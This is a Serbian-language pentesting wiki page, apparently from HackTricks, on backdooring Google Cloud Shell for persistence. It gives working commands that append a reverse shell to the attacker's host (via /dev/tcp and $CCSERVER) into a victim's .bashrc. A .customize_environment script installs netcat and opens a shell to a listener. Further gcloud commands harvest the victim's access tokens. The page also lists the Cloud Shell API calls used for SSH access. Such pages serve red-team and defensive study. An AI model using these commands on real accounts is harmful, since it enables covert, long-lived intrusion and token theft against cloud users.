# GCP - Cloud Shell Persistence

{{#include ../../../banners/hacktricks-training.md}}

## Cloud Shell

Za više informacija pogledajte:

{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}

### Persistent Backdoor

[**Google Cloud Shell**](https://cloud.google.com/shell/) vam omogućava pristup komandnoj liniji vašim cloud resursima direktno iz vašeg pregledača bez ikakvih povezanih troškova.

Možete pristupiti Google-ovom Cloud Shell-u iz **web konzole** ili pokretanjem **`gcloud cloud-shell ssh`**.

Ova konzola ima neke zanimljive mogućnosti za napadače:

1. **Svaki Google korisnik sa pristupom Google Cloud-u** ima pristup potpuno autentifikovanoj Cloud Shell instanci (Servisni nalozi mogu, čak i kao vlasnici organizacije).
2. Ta instanca će **održavati svoj home direktorijum najmanje 120 dana** ako ne dođe do aktivnosti.
3. Ne postoje **mogućnosti za organizaciju da prati** aktivnost te instance.

To u suštini znači da napadač može staviti backdoor u home direktorijum korisnika i sve dok se korisnik povezuje na GC Shell svake 120 dana, backdoor će preživeti i napadač će dobiti shell svaki put kada se pokrene jednostavno tako što će:
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
```
U home folderu postoji još jedna datoteka pod nazivom **`.customize_environment`** koja, ako postoji, će biti **izvršena svaki put** kada korisnik pristupi **cloud shell-u** (kao u prethodnoj tehnici). Samo umetnite prethodni backdoor ili jedan poput sledećeg da biste održali postojanost sve dok korisnik "često" koristi cloud shell:
```bash
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash
```
> [!WARNING]
> Važno je napomenuti da se **prvi put kada se izvrši akcija koja zahteva autentifikaciju**, u pretraživaču korisnika pojavljuje prozor za autorizaciju. Ovaj prozor mora biti prihvaćen pre nego što se komanda može izvršiti. Ako se pojavi neočekivani prozor, to može izazvati sumnju i potencijalno kompromitovati metodu postojanosti koja se koristi.

Ovo je prozor koji se pojavljuje prilikom izvršavanja `gcloud projects list` iz cloud shell-a (kao napadač) u korisničkoj sesiji pretraživača:

<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>

Međutim, ako je korisnik aktivno koristio cloudshell, prozor se neće pojaviti i možete **prikupiti tokene korisnika sa**:
```bash
gcloud auth print-access-token
gcloud auth application-default print-access-token
```
#### Kako se uspostavlja SSH veza

U osnovi, koriste se ova 3 API poziva:

- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (omogućava vam da dodate svoj javni ključ koji ste kreirali lokalno)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (omogućava vam da pokrenete instancu)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (govori vam IP adresu google cloud shell-a)

Ali možete pronaći dodatne informacije na [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)

## Reference

- [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec)
- [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
- [https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/](https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/)

{{#include ../../../banners/hacktricks-training.md}}
